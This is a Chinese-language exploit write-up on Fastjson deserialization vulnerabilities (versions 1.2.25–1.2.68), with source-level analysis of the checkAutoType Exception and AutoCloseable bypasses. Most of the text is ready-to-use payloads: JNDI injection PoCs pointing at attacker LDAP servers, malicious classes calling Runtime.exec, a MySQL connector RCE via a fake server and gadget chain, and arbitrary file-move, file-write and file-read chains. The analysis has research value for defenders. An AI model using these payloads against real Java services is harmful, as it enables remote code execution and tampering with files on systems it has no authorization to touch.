import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;
public class App
{
    public static void main( String[] args ) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}";
        JSON.parseObject(payload);

    }
}

还可以使用另外的类:

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

Fastjson1.2.25-1.2.66

条件:开启AutoType

这里也是寻找到新的利用类,这个版本有很多,原理都一样就不一个个分析了

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://0.0.0.0:1389/Basic/Command/calc"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig类PoC:

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://0.0.0.0:1389/Basic/Command/calc"}
或
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://0.0.0.0:1389/Basic/Command/calc"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:

{
    "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties": {
        "@type":"java.util.Properties",
        "UserTransaction":"ldap://0.0.0.0:1389/Basic/Command/calc"
    }
}

org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;

br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

Fastjson1.2.25-1.2.67

条件:开启AutoType

也是找到新的利用类

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory类PoC:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;

org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

Fastjson1.2.25-1.2.68

环境搭建:

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.68</version>
</dependency>

上面几个版本的修复都是通过将可利用的恶意类添加到黑名单

下面是全新的绕过方式

Exception绕过(>1.2.39)

这个绕过有点类似1.2.47版本的 这里使用的是java.lang.Exception的这个类,利用条件有点苛刻

{"@type":"java.lang.Exception"}

为什么要使用这个,首先,这个类不在黑白名单里面,其次这个类是反序列化的过程中程序已经存储在mappings缓存里面了,clazz可直接在这里获取到类名返回

checkAutoType()里面的:

clazz = TypeUtils.getClassFromMapping(typeName);
public static Class<?> getClassFromMapping(String className){
    return mappings.get(className);
}

image-20230811155546108

获取到这个clazz之后,返回到DefaultJSONParser.parseObject

运行到结尾处

image-20230811160312151

进入这个deserialze

这里存在一个逻辑,根据一些条件来设置exClass变量的值

if (type != null && type instanceof Class) {
    Class<?> clazz = (Class<?>) type;
    if (Throwable.class.isAssignableFrom(clazz)) {
       exClass = clazz;
    }
}

首先判断这个type是不是Class的实例,再判断是不是Throwable或其子类,如果满足这些条件就给exClass = clazz, java.lang.Exception就满足了这些情况

往下

下面的逻辑是解析json中的下一个key和value ,有点类似DefaultJSONParser.parseObject中第一次运行到checkAutoType的逻辑

String key = lexer.scanSymbol(parser.getSymbolTable());
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
    } else {
        throw new JSONException("syntax error");
    }
    lexer.nextToken(JSONToken.COMMA);
} 

首先获取key,判断这个key是不是@type 如果是,则再获取处Value,也就是@type指定的类的名字,然后再进入checkAutoType进行检查

注意的是,这次checkAutoType的第二个参数是Throwable.class,而第一次为NULL

跟进checkAutoType

来到这个地方

final boolean expectClassFlag;
if (expectClass == null) {
    expectClassFlag = false;
} else {
    if (expectClass == Object.class
            || expectClass == Serializable.class
            || expectClass == Cloneable.class
            || expectClass == Closeable.class
            || expectClass == EventListener.class
            || expectClass == Iterable.class
            || expectClass == Collection.class
            ) {
        expectClassFlag = false;
    } else {
        expectClassFlag = true;
    }
}

这里定义了一个布尔类型的expectClassFlag,再判断expectClass是否为空,expectClass就是checkAutoType的第二个参数 class java.lang.Throwable,不为空,然后在判断expectClass是不上那几个类,如果是则expectClassFlag = false ,显然,Throwable.class并不在其中 ,所以expectClassFlag = true

expectClassFlag = true有什么用呢?

继续往下,经过了黑白名单检查后,来到了这个逻辑

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

这里expectClassFlag=true,会进入这个if语句,然后就加载得到clazz

加载后在哪返回?

if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

因为expectClass != null进入这个判断里,再判断第二个@type指定的类,即clazz,是不是java.lang.Throwable的子类或者相同类

如果是则添加到Mapping里面并返回

也就是说,要利用这个绕过方法,autoType可开可不开,但利用的恶意类必须是Throwable的子类或者相同类 ,而且还不能是存在于黑名单的类

例如自己写的恶意类

import java.io.IOException;
import java.lang.Exception;
import java.lang.Throwable;
public class Test extends Throwable{
//public class Test extends Exception{  //也可以继承 Exception
    private String domain;
    public Test() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }
    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }
}

然后POC如下:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class App
{
    public static void main( String[] args ) {
        //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload=" {\n" +
                "            \"@type\":\"java.lang.Exception\",\n" +
                "                \"@type\": \"org.example.Test\",\n" +
                "                \"domain\": \"calc\"\n" +
                "        }";
        JSON.parseObject(payload);

    }
}

网上找了一圈,找到符合要求的利用类是org.openqa.selenium.WebDriverException

public class WebDriverException extends RuntimeException

这个RuntimeException是Exception的子类,满足条件

利用的是下面这个方法来获取到一些信息

public String getSystemInformation() {
    String host = "N/A";
    String ip = "N/A";

    try {
        host = InetAddress.getLocalHost().getHostName();
        ip = InetAddress.getLocalHost().getHostAddress();
    } catch (UnknownHostException var4) {
    }

    return String.format("System info: host: '%s', ip: '%s', os.name: '%s', os.arch: '%s', os.version: '%s', java.version: '%s'", host, ip, System.getProperty("os.name"), System.getProperty("os.arch"), System.getProperty("os.version"), System.getProperty("java.version"));
}

但是这个方法的返回值是 String类型的,不符合自动调用getter

这里使用$ref的方式来调用任意的getter

String payload = "{\"x\":{\"@type\":\"java.lang.Exception\",\"@type\":\"org.openqa.selenium.WebDriverException\"},\"content\":{\"$ref\":\"$x.systemInformation\"}}";
JSONObject j = JSON.parseObject(payload);
System.out.println(j.getString("content"));

AutoCloseable绕过

除了Exception之外,还可以用通过AutoCloseable的方式来进行绕过

clazz = TypeUtils.getClassFromMapping(typeName);

这个java.lang.AutoCloseable接口存在于mapping的缓存中

image-20230814104302725

后面的流程是和上面Exception的绕过方法流程是一样的

只要找到一个类实现了AutoCloseable接口的类,并且这个类不存在于黑名单中就可以利用了

例如

package org.example;
import java.io.IOException;
import java.lang.Exception;

public class Test implements AutoCloseable{
    private String domain;
    public Test() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }

    public Class<?> getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage().getClass();
        }

        return super.getClass();
    }

    @Override
    public void close() throws Exception {

    }
}

poc:

String payload=" {\n" +
        "            \"@type\":\"java.lang.AutoCloseable\",\n" +
        "                \"@type\": \"org.example.Test\",\n" +
        "                \"domain\": \"calc\"\n" +
        "        }";

JSON.parseObject(payload);

Mysql RCE

环境搭建

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.11</version>
</dependency>

//MYSQL RCE需要配合Gadget使用
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

这个是依赖上面的AutoCloseable进行绕过,利用的类是com.mysql.jdbc.JDBC4Connection

JDBC4Connection继承ConnectionImpl,ConnectionImpl实现Connection的接口,Connection继承java.sql.Connection,java.sql.Connection继承AutoCloseable, 而且这个类不在 黑名单里面看,所以这个类是可以使用的

POC如下:

需要使用https://github.com/4ra1n/mysql-fake-server这个工具起一个虚假的mysql服务

{ 
    "name": { 
        "@type": "java.lang.AutoCloseable", 
        "@type": "com.mysql.jdbc.JDBC4Connection", 
        "hostToConnectTo": "127.0.0.1", 
        "portToConnectTo": 3308, 
        "info": { 
            "user": "deser_CC31_calc.exe", 
            "password": "pass", 
            "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", 
            "autoDeserialize": "true", 
            "NUM_HOSTS": "1" 
        } 
    }

上面的POC只是适合mysql-connector 5.1.x版本的

不同的mysql-connector版本poc不同

image-20211220173824621

SafeFileOutputStream文件操作

环境搭建

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.5.4</version>
</dependency>

这里使用的是org.eclipse.core.internal.localstore.SafeFileOutputStream

SafeFileOutputStream继承OutputStream,OutputStream实现Closeable接口,Closeable接口继承AutoCloseable,所以这个类可以用

主要利用的是这个构造函数

public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
        this.failed = false;
        this.target = new File(targetPath);
        this.createTempFile(tempPath);
        if (!this.target.exists()) {
            if (!this.temp.exists()) {
                this.output = new BufferedOutputStream(new FileOutputStream(this.target));
                return;
            }

            this.copy(this.temp, this.target);
        }

        this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
    }

首先调用了createTempFile,如果tempPath为空则会指定为默认的this.target.getAbsolutePath() + ".bak";
如果不为空则以tempPath为主。

protected void createTempFile(String tempPath) {
    if (tempPath == null) {
        tempPath = this.target.getAbsolutePath() + ".bak";
    }

    this.temp = new File(tempPath);
}

接着判断target是否存在,以及temp是否存在。如果target不存在,temp存在,则会调用copy方法,copy方法会将temp的内容丢给target

protected void copy(File sourceFile, File destinationFile) throws IOException {
    if (sourceFile.exists()) {
        if (!sourceFile.renameTo(destinationFile)) {
            InputStream source = new BufferedInputStream(new FileInputStream(sourceFile));
            OutputStream destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
            this.transferStreams(source, destination);
        }
    }
}

这个其实就是一个文件迁移的操作

POC如下

{ 
    "@type": "java.lang.AutoCloseable", 
    "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", 
    "targetPath": "./1.txt", 
    "tempPath": "./2.txt"
}
//将2.txt的内容迁移到1.txt中,2.txt中的内容被清空

文件写入

环境搭建

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
</dependency>
<dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>18.3.12</version>
</dependency>

接着上面的文件操作

这里利用的连个类com.esotericsoftware.kryo.io.Outputcom.sleepycat.bind.serial.SerialOutput都是AutoCloseable

的子类,可利用

在SafeFileOutputStream中,创建了一个以tempPath或者targetPath为目标的输出流

如果tempPath不存在,则BufferedOutputStream就是targetPath,如果tempPath存在targetPath不存在,则BufferedOutputStream就是tempPath。

public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
    this.failed = false;
    this.target = new File(targetPath);
    this.createTempFile(tempPath);
    if (!this.target.exists()) {
        if (!this.temp.exists()) {
            this.output = new BufferedOutputStream(new FileOutputStream(this.target));
            return;
        }

        this.copy(this.temp, this.target);
    }

    this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}

如果能控制这个输出流就能进行文件写入了,如何控制这个输出流?

com.esotericsoftware.kryo.io.Output这个类中找到一个set写入输出流

public void setOutputStream(OutputStream outputStream) {
    this.outputStream = outputStream;
    this.position = 0;
    this.total = 0L;
}

可以通过fastjson的循环引用$ref,获取到SafeFileOutputStream的输出流

在flush中将内容写入

public void flush() throws KryoException {
    if (this.outputStream != null) {
        try {
            this.outputStream.write(this.buffer, 0, this.position);
            this.outputStream.flush();
        } catch (IOException var2) {
            throw new KryoException(var2);
        }

        this.total += (long)this.position;
        this.position = 0;
    }
}

可以看到这个flush代码中的write调用,将存储在缓冲区buffer中的内容,从位置0开始,长度this.position的内容,通过输出流输出

this.buffer可以控制

public void setBuffer(byte[] buffer) {
    this.setBuffer(buffer, buffer.length);
}

public void setBuffer(byte[] buffer, int maxBufferSize) {
    if (buffer == null) {
        throw new IllegalArgumentException("buffer cannot be null.");
    } else if (buffer.length > maxBufferSize && maxBufferSize != -1) {
        throw new IllegalArgumentException("buffer has length: " + buffer.length + " cannot be greater than maxBufferSize: " + maxBufferSize);
    } else if (maxBufferSize < -1) {
        throw new IllegalArgumentException("maxBufferSize cannot be < -1: " + maxBufferSize);
    } else {
        this.buffer = buffer;
        this.maxCapacity = maxBufferSize == -1 ? Integer.MAX_VALUE : maxBufferSize;
        this.capacity = buffer.length;
        this.position = 0;
        this.total = 0L;
        this.outputStream = null;
    }
}

注意:写入的内容会转为byte类型数组,在fastjson中,这个byte数组会被base64解码,所以要将写入的内容进行base64加密

this.position也可以控制

public void setPosition(int position) {
    this.position = position;
}

到此,就差如何调用flush()触发漏洞

flush 方法只有在 close 和 write 方法被调用时才会触发。

com.sleepycat.bind.serial.SerialOutput这个类继承着ObjectOutputStream

在ObjectOutputStream中存在一个构造方法:

public ObjectOutputStream(OutputStream out) throws IOException {
    verifySubclass();
    bout = new BlockDataOutputStream(out);
    handles = new HandleTable(10, (float) 3.00);
    subs = new ReplaceTable(10, (float) 3.00);
    enableOverride = false;
    writeStreamHeader();
    bout.setBlockDataMode(true);
    if (extendedDebugInfo) {
        debugInfoStack = new DebugTraceInfoStack();
    } else {
        debugInfoStack = null;
    }
}

跟进 setBlockDataMode()

boolean setBlockDataMode(boolean mode) throws IOException {
    if (blkmode == mode) {
        return blkmode;
    }
    drain();
    blkmode = mode;
    return !blkmode;
}

跟进drain()

void drain() throws IOException {
    if (pos == 0) {
        return;
    }
    if (blkmode) {
        writeBlockHeader(pos);
    }
    out.write(buf, 0, pos);
    pos = 0;
}

这里就调用了write

将out设置为com.esotericsoftware.kryo.io.Output这个类即可

最终POC:

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "/1.txt",
        "tempPath": "a"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "aGVsbDA=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5  //字符长度
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

Commons IO 2.x 写文件

参考https://zhuanlan.zhihu.com/p/376759650

暂时不想写

环境搭建

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.1</version>
</dependency>

POC

{
    "abc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///D:/1.txt"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [{
            "charsetName": "UTF-8",
            "bytes": [66]
        }]
    },
    "address": {
        "$ref": "$.abc.BOM"
    }
}

其他POC

均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类PoC:

{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}